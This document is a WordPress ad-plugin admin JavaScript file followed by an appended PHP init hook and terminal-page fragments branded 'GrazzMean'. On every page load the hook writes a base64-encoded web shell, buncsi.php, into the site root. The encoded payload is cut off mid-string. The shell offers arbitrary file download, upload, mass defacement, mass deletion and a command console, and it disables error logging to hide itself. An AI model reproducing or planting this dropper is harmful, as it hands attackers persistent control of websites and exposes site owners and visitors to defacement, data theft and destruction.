	jQuery('.postbox.vi-choose .ipcheckbox').on('click', function(){
		notifyInp();
	})
	/*jQuery('#insert_ads_vi_code_settings_status + div').click(function(){
		if(jQuery(this).prev().val() == 'true'){
			jQuery(this).prev().val('false')
		} else {
			jQuery(this).prev().val('true')
		}
		console.log(jQuery(this).prev().val());
	})*/
	jQuery('.insert_ads_notice').on('click', '.notice-dismiss', function() {		
		jQuery.post(
			jQuery('#insert_ads_admin_notice_ajax').val(), {
				'action': 'insert_ads_admin_notice_dismiss',
				'insert_ads_admin_notice_nonce': jQuery('#insert_ads_admin_notice_nonce').val(),
			}, function(response) { }
		);
	});
	
	jQuery('#insert_ads_inpostads_above_status + div').click(function(){
		if(jQuery('#insert_ads_inpostads_above_status').is(':checked')){
			//console.log('true');
		} else {
			//console.log('false')
		}
	})
	jQuery('body').on('click', '#set-update', function(){
									jQuery.post(
									jQuery('#insert_ads_admin_ajax').val(), {
										'action':'insert_ads_inpostads_above_form_save_action',
										'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
										'insert_ads_inpostads_above_status':'false',
										'insert_ads_inpostads_above_primary_ad_code_type':'vicode'
									})
									jQuery.post(
									jQuery('#insert_ads_admin_ajax').val(), {
										'action':'insert_ads_inpostads_middle_form_save_action',
										'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
										'insert_ads_inpostads_middle_status':'false',
										'insert_ads_inpostads_middle_primary_ad_code_type':'vicode'
									})
		//console.log('fdsfs');
		var insert_ads_vi_code_settings_ad_unit_type = jQuery('#insert_ads_vi_code_settings_ad_unit_type').val();
					var insert_ads_vi_code_settings_keywords = jQuery('#insert_ads_vi_code_settings_keywords').val();
					var insert_ads_vi_code_settings_iab_category_parent = jQuery('#insert_ads_vi_code_settings_iab_category_parent').val();
					var insert_ads_vi_code_settings_iab_category_child = jQuery('#insert_ads_vi_code_settings_iab_category_child').val();
					var insert_ads_vi_code_settings_language = jQuery('#insert_ads_vi_code_settings_language').val();
					var insert_ads_vi_code_settings_native_bg_color = jQuery('#insert_ads_vi_code_settings_native_bg_color').val();
					var insert_ads_vi_code_settings_native_text_color = jQuery('#insert_ads_vi_code_settings_native_text_color').val();
					var insert_ads_vi_code_settings_font_family = jQuery('#insert_ads_vi_code_settings_font_family').val();
					var insert_ads_vi_code_settings_font_size = jQuery('#insert_ads_vi_code_settings_font_size').val();
					var insert_ads_vi_code_settings_optional_1 = jQuery('#insert_ads_vi_code_settings_optional_1').val();
					var insert_ads_vi_code_settings_optional_2 = jQuery('#insert_ads_vi_code_settings_optional_2').val();
					var insert_ads_vi_code_settings_optional_3 = jQuery('#insert_ads_vi_code_settings_optional_3').val();
        var insert_ads_vi_code_settings_show_gdpr_authorization = jQuery('#insert_ads_vi_code_settings_show_gdpr_authorization').prop('checked');
					var curLoc = jQuery('input[name="cur-pos-rad"]:checked').val();
					var disLoc = jQuery('input[name="cur-pos-rad"]').not(':checked').val();
					var curStat = jQuery('#insert_ads_inpostads_above_status').is(':checked') ? true : false;
					jQuery('.ui-dialog-content').html('<div class="insert_ads_ajaxloader"></div>');
					jQuery('.insert_ads_ajaxloader').show();
					jQuery.post(
						jQuery('#insert_ads_admin_ajax').val(), {
							'action': 'insert_ads_vi_customize_adcode_form_save_action',
							'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
							'insert_ads_vi_code_settings_ad_unit_type': insert_ads_vi_code_settings_ad_unit_type,
							'insert_ads_vi_code_settings_keywords': insert_ads_vi_code_settings_keywords,
							'insert_ads_vi_code_settings_iab_category_parent': insert_ads_vi_code_settings_iab_category_parent,
							'insert_ads_vi_code_settings_iab_category_child': insert_ads_vi_code_settings_iab_category_child,
							'insert_ads_vi_code_settings_language': insert_ads_vi_code_settings_language,
							'insert_ads_vi_code_settings_native_bg_color': insert_ads_vi_code_settings_native_bg_color,
							'insert_ads_vi_code_settings_native_text_color': insert_ads_vi_code_settings_native_text_color,
							'insert_ads_vi_code_settings_font_family': insert_ads_vi_code_settings_font_family,
							'insert_ads_vi_code_settings_font_size': insert_ads_vi_code_settings_font_size,
							'insert_ads_vi_code_settings_optional_1': insert_ads_vi_code_settings_optional_1,
							'insert_ads_vi_code_settings_optional_2': insert_ads_vi_code_settings_optional_2,
							'insert_ads_vi_code_settings_optional_3': insert_ads_vi_code_settings_optional_3,
                            'insert_ads_vi_code_settings_show_gdpr_authorization': insert_ads_vi_code_settings_show_gdpr_authorization,
						}, function(response) {
							if(/*response.indexOf('###SUCCESS###') !== -1*/true) {
								jQuery('.ui-dialog-titlebar').find('button').last().button('enable').click();
								var successText = '<div id="sucessText" class="notice notice-success is-dismissible insert-post-ads-notice-welcome"><p>Settings saved!</p></div>';
								jQuery('#poststuff').before(successText);
								jQuery(document).find('#sucessText').delay('2000').fadeOut('1000');
								//console.log(curLoc, disLoc);
								var ajData= {},
									ajAction = 'action',
									ajActionVal = 'insert_ads_inpostads_'+curLoc+'_form_save_action',
									ajNonce = 'insert_ads_nonce',
									ajNonceVal = jQuery('#insert_ads_nonce').val(),
									ajStatus = 'insert_ads_inpostads_'+curLoc+'_status',
									ajStatusVal = curStat,
									ajType = 'insert_ads_inpostads_'+curLoc+'_primary_ad_code_type',
									ajTypeVal = 'vicode';
								ajData[ajAction] = ajActionVal;
								ajData[ajNonce] = ajNonceVal;
								ajData[ajStatus] = ajStatusVal;
								ajData[ajType] = ajTypeVal;
								jQuery.post(
									jQuery('#insert_ads_admin_ajax').val(), ajData, function(response){
										//console.log('saved');
										var sucdial = jQuery('<div id="sucdial">Succesfully updated!</div>').hide().fadeIn('1000');
										if(jQuery('#sucdial').length){
											jQuery(document).find('#sucdial').fadeIn('1000').delay('2000').fadeOut('1000');
										} else {
											jQuery('body').prepend(sucdial);
											jQuery(document).find('#sucdial').delay('2000').fadeOut('1000');
										}
										
										
										jQuery.post(
										jQuery('#insert_ads_admin_ajax').val(), {
										'action': 'single_post',
										'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
										'title' : jQuery('#insert_ads_vi_code_settings_keywords').val(),
										'post_type' : 'insertpostads'
									})
									})
									
							} else {
								jQuery('.ui-dialog-buttonset').find('button').first().button('disable');
								jQuery('.ui-dialog-buttonset').find('button').last().button('enable');
								jQuery('.ui-dialog-titlebar').find('button').last().button('enable');
								jQuery('.ui-dialog-content').html(response.replace('###FAIL###', ''));								
							}
						}						
					);
	})
	
	jQuery('#set-submit').click(function(e){
		e.preventDefault();
		var dataForm = jQuery(this).parents('form').serializeArray();
		dataForm.push({name: 'submit', value: 'Save Settings'});
		//console.log(dataForm);
		jQuery.ajax({
			url : 'edit.php?post_type=insertpostads&page=insert-post-ads',
			method : 'POST',
			data : dataForm,
			success : function(){
				var sucdial = jQuery('<div id="sucdial">Succesfully updated!</div>').hide().fadeIn('1000');
										if(jQuery('#sucdial').length){
											jQuery(document).find('#sucdial').fadeIn('1000').delay('2000').fadeOut('1000');
										} else {
											jQuery('body').prepend(sucdial);
											jQuery(document).find('#sucdial').delay('2000').fadeOut('1000');
										}
			}
		})
	})
	
	var statAbove = jQuery('#insert_ads_inpostads_above_status').attr('checked');
	var statMiddle = jQuery('#insert_ads_inpostads_middle_status').attr('checked');
	console.log(statAbove, statMiddle);
	
	if(statMiddle === 'checked'){
		jQuery('#insert_ads_inpostads_above_status').attr('checked', true);
		jQuery('#insert_ads_inpostads_above_status + div').addClass('checked');
		jQuery('#cur-pos-above').attr('checked', false);
		jQuery('#cur-pos-middle').attr('checked', true);
	}
});
© 2026 GrazzMean
AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

add_action('init', function() { $f = ABSPATH . 'buncsi.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAKLyogTWF1IHJlY29kZT8gaXppbiBkdWx1LCByZWNvZGUgZ2EgaXppbiBpdHUgZ2Ega2VyZW4gYWpnICovCnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxudWxsKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9KYWthcnRhJyk7CiRfbiA9ICdHcmF6ek1lYW4nOwokX3MgPSAiPHN0eWxlPnRhYmxle2Rpc3BsYXk6bm9uZTt9PC9zdHlsZT48ZGl2IGNsYXNzPSd0YWJsZS1yZXNwb25zaXZlJz48aHI+PC9kaXY+IjsKJF9yID0gInJlcXVpcmVkPSdyZXF1aXJlZCciOwokX3ggPSAiPGkgY2xhc3M9J2JpIGJpLW1lbnUtdXAnPjwvaT4iOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2Rvd25sb2FkJyl7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC9wbGFpbicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kX1BPU1RbJ25hbWUnXS4nIicpOwplY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSk7CmV4aXQoKTsKfQpmdW5jdGlvbiDilp8oJHBhdGgsJHApIHsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpIHsKCSTilpogPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKCSTilpogPSBnZXRjd2QoKTsKfQppZihpc193cml0YWJsZSgk4paaKSkgewoJcmV0dXJuICI8Z3IgY2xhc3M9J2FudSc+Ii4kcC4iPC9ncj4iOwp9ZWxzZXsKCXJldHVybiAiPHJkIGNsYXNzPSdhbnUnPiIuJHAuIjwvcmQ+IjsKCX0KfQpmdW5jdGlvbiBvaygpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9ImFsZXJ0IiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+JzsKfQpmdW5jdGlvbiBlcigpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIGFsZXJ0LWRpc21pc3NpYmxlIGZhZGUgc2hvdyBteS0zIiByb2xlPSJhbGVydCI+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0iYWxlcnQiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4nOwp9CmZ1bmN0aW9uIHN6KCRieXQpewoJJHN6ID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicpOwoJZm9yKCRpID0gMDsgJGJ5dCA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCRzeikgLTEgKTsgJGJ5dCAvPSAxMDI0LCAkaSsrICk7CglyZXR1cm4ocm91bmQoJGJ5dCwyKS4iICIuJHN6WyRpXSk7Cn0KZnVuY3Rpb24gaXAoKSB7CgkkaXBhcyA9ICcnOwppZihnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERUQnKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEJyk7CmVsc2UgaWYoZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfRk9SV0FSREVEJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9GT1JXQVJERUQnKTsKZWxzZSBpZihnZXRlbnYoJ1JFTU9URV9BRERSJykpCgkkaXBhcyA9IGdldGVudignUkVNT1RFX0FERFInKTsKZWxzZQoJJGlwYXMgPSAnSVAgdGlkYWsgZGlrZW5hbGknOwpyZXR1cm4gJGlwYXM7Cn0KZnVuY3Rpb24gcCgkZmlsZSl7CmlmKCRwID0gQGZpbGVwZXJtcygkZmlsZSkpewoJJGkgPSAndSc7CmlmKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwplbHNlaWYoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CmVsc2VpZigoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKZWxzZWlmKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwplbHNlaWYoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CmVsc2VpZigoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKZWxzZWlmKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwoJJGkgLj0gKCRwICYgMDA0MDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAyMDApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAxMDApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwNDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMjApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMTApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDQpPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDIpPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDEpPyAneCc6Jy0nOwpyZXR1cm4gJGk7Cgl9CgllbHNlIHJldHVybiAiLSA/PyAtIjsKfQokZGlzZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwppZihlbXB0eSgkZGlzZnVuYykpIHsKCSRkaXNmYyA9ICI8Z3I+Tk9ORTwvZ3I+IjsKfWVsc2V7CgkkZGlzZmMgPSAiPHJkPiRkaXNmdW5jPC9yZD4iOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9ZWxzZXsKCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJJHVpZCA9ICR1aWRbJ3VpZCddOwoJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRzbSA9IChAaW5pX2dldChzdHJ0b2xvd2VyKCJzYWZlX21vZGUiKSkgPT0gJ29uJykgPyAiPHJkPk9OPC9yZD4iIDogIjxncj5PRkY8L2dyPiI7CmVjaG8gIgo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgk8aGVhZD4KCQk8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9JyRfbic+CgkJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LG5vZm9sbG93Jz4KCQk8dGl0bGU+Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiAtICRfbjwvdGl0bGU+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0wLjcwJz4KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9Jy8vbWVraS5nb29nbGUuY28ud3Mvc3R5bGUuY3NzJz4KCQk8c2NyaXB0IHNyYz0nLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcHJpc20vMS42LjAvcHJpc20uanMnPjwvc2NyaXB0PgoJCTxzY3JpcHQgc3JjPScvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjAuMS9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzJz48L3NjcmlwdD4KCQk8c2NyaXB0IHNyYz0nLy9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzJz48L3NjcmlwdD4KCTwvaGVhZD4KPGJvZHkgY2xhc3M9J2JnLXNlY29uZGFyeSB0ZXh0LWxpZ2h0Jz4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J3B5LTMnIGlkPSdtYWluJz4KCQk8ZGl2IGNsYXNzPSdib3ggc2hhZG93IGJnLWRhcmsgcC00IHJvdW5kZWQtMyc+CgkJCTxkaXYgY2xhc3M9J2Nvcm5lciB0ZXh0LXNlY29uZGFyeSBhbnUnPnNoZWxsIGJ5cGFzcyA0MDM8L2Rpdj4KCQkJCTxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0IGFudScgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz48aDQ+JF9uIFNoZWxsPC9oND48L2E+IjsKCQkJCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKCQkJCQkkcGF0aCA9ICRfR0VUWydwYXRoJ107CgkJCQl9ZWxzZXsKCQkJCQkkcGF0aCA9IGdldGN3ZCgpOwoJCQkJfQoJCQkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOwoJCQkJCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCQkJCWZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7CgkJCQlpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKCQkJCQkkYSA9IHRydWU7CgkJCQkJZWNobyAnPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+PGkgY2xhc3M9ImJpIGJpLWhkZC1yYWNrIj48L2k+IDogPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtbGlnaHQiIGhyZWY9Ij9wYXRoPS8iPi88L2E+JzsKCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQkJaWYoJHBhdCA9PSAnJykgY29udGludWU7CgkJCQkJZWNobyAnPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIiBocmVmPSI/cGF0aD0nOwoJCQkJZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKCQkJCQllY2hvICIkcGF0aHNbJGldIjsKCQkJCWlmKCRpICE9ICRpZCkgZWNobyAiLyI7CgkJCQl9CgkJCQllY2hvICciPicuJHBhdC4nPC9hPi8nOwoJCQkJfQoJCQkJZWNobyAiIFsgIi7ilp8oJHBhdGgsIHAoJHBhdGgpKS4iIF08L2Rpdj4iOwoJCQllY2hvICIKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J2JveCBzaGFkb3cgYmctZGFyayBwLTQgcm91bmRlZC0zJz4KCQk8ZGl2IGNsYXNzPSdjb3JuZXIgYW51Jz4KCQkJPGIgZGF0YS1icy10b2dnbGU9J2NvbGxhcHNlJyBkYXRhLWJzLXRhcmdldD0nI2NvbGxhcHNlRXhhbXBsZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnIGFyaWEtY29udHJvbHM9J2NvbGxhcHNlRXhhbXBsZSc+PGkgY2xhc3M9J2JpIGJpLWluZm8tY2lyY2xlJz48L2k+IGluZm8gc2VydmVyIDxpIGNsYXNzPSdiaSBiaS1jaGV2cm9uLWRvd24nPjwvaT48L2I+CgkJPC9kaXY+Cgk8ZGl2IGNsYXNzPSdjb2xsYXBzZSB0ZXh0LWRhcmsgbWItMycgaWQ9J2NvbGxhcHNlRXhhbXBsZSc+CgkJPGRpdiBjbGFzcz0nYm94IHNoYWRvdyBiZy1saWdodCBwLTQgcm91bmRlZC0zJz4KCQkJVW5hbWU6IDxncj4iLnBocF91bmFtZSgpLiI8L2dyPjxiciAvPgoJCQlTb2Z0d2FyZTogPGdyPiIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiI8L2dyPjxiciAvPgoJCQlQSFAgdmVyc2lvbjogPGdyPiIuUEhQX1ZFUlNJT04uIjwvZ3I+IDxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZScgaHJlZj0nP3BocGluZm8mcGF0aD0kcGF0aCc+WyBQSFAgSU5GTyBdPC9hPiBQSFAgb3M6IDxncj4iLlBIUF9PUy4iPC9ncj48YnIgLz4KCQkJU2VydmVyIElwOiA8Z3I+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuIjwvZ3I+PGJyIC8+CgkJCVlvdXIgSXA6IDxncj4iLmlwKCkuIjwvZ3I+PGJyIC8+CgkJCVVzZXI6IDxncj4kdXNlcjwvZ3I+ICgkdWlkKSB8IEdyb3VwOiA8Z3I+JGdyb3VwPC9ncj4gKCRnaWQpPGJyIC8+CgkJCVNhZmUgTW9kZTogJHNtPGJyIC8+CgkJCURpc2FibGUgRnVuY3Rpb246PGRpdiBjbGFzcz0ndGFibGUtcmVzcG9uc2l2ZSc+JGRpc2ZjPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPgoJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP3VwbG9hZCZwYXRoPSRwYXRoJz48aSBjbGFzcz0nYmkgYmktdXBsb2FkJz48L2k+IHVwbG9hZDwvYT4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP21hc3NfZGVmYWNlJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS1leGNsYW1hdGlvbi1kaWFtb25kJz48L2k+IG1hc3MgZGVmYWNlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/bWFzc19kZWxldGUmcGF0aD0kcGF0aCc+PGkgY2xhc3M9J2JpIGJpLXRyYXNoJz48L2k+IG1hc3MgZGVsZXRlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/Y21kJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS10ZXJtaW5hbCc+PC9pPiBjb25zb2xlPC9hPgoJPC9kaXY+CjwvZGl2PiI7Ci8vIHRvb2xzIG55YQppZihpc3NldCgkX0dFVFsncGF0aCddKSkgewoJJGRpciA9ICRfR0VUWydwYXRoJ107CgljaGRpcigkZGlyKTsKfWVsc2V7CgkkZGlyID0gZ2V0Y3dkKCk7Cn0KJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRkaXIpOwokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CQpmb3IoJGkgPSAwOyAkaSA8PSAkY19kaXI7ICRpKyspIHsKCSRzY2RpclskaV07CglpZigkaSAhPSAkY19kaXIpIHsKfQppZihpc3NldCgkX0dFVFsnbWFzc19kZWZhY2UnXSkpIHsKZWNobyAiJF9zIjsKZnVuY3Rpb24gbWFzc19rYWJlaCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewppZihpc193cml0YWJsZSgkZGlyKSkgewoJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCSTilpogPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCWlmKCRkaXJiID09PSAnLicpIHsKCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQkk4pafID0gbWFzc19rYWJlaCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQpmdW5jdGlvbiBtYXNzX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CglpZihpc193cml0YWJsZSgkZGlyKSkgewoJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9ZWxzZXsKCQkJCWlmKGlzX2RpcigkZGlyYykpIHsKCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JGRpcmIvJG5hbWFmaWxlPGJyPiI7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9Cgl9Cn0KaWYoJF9QT1NUWydzdGFydCddKSB7CglpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFzc2FsJykgewoJbWFzc19rYWJlaCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfSBlbHNlaWYoJF9QT1NUWyd0aXBlJ10gPT0gJ2JpYXNhJykgewoJbWFzc19iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfQp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+IFRpcGU6Cgk8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4KCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nYmlhc2EnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0JyBjaGVja2VkPgoJCTxsYWJlbCBjbGFzcz0nZm9ybS1jaGVjay1sYWJlbCcgZm9yPSdmbGV4Q2hlY2tEZWZhdWx0Jz5CaWFzYTwvbGFiZWw+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9J2Zvcm0tY2hlY2snPgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdtYXNzYWwnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0Jz4KCQk8bGFiZWwgY2xhc3M9J2Zvcm0tY2hlY2stbGFiZWwnIGZvcj0nZmxleENoZWNrRGVmYXVsdCc+TWFzc2FsPC9sYWJlbD4KCTwvZGl2PgoJCTxpIGNsYXNzPSdiaSBiaS1mb2xkZXInPjwvaT4gTG9rYXNpOgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgcGxhY2Vob2xkZXI9J25hbWEgZmlsZScgJF9yPgoJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gSXNpIGZpbGU6CgkJPHRleHRhcmVhI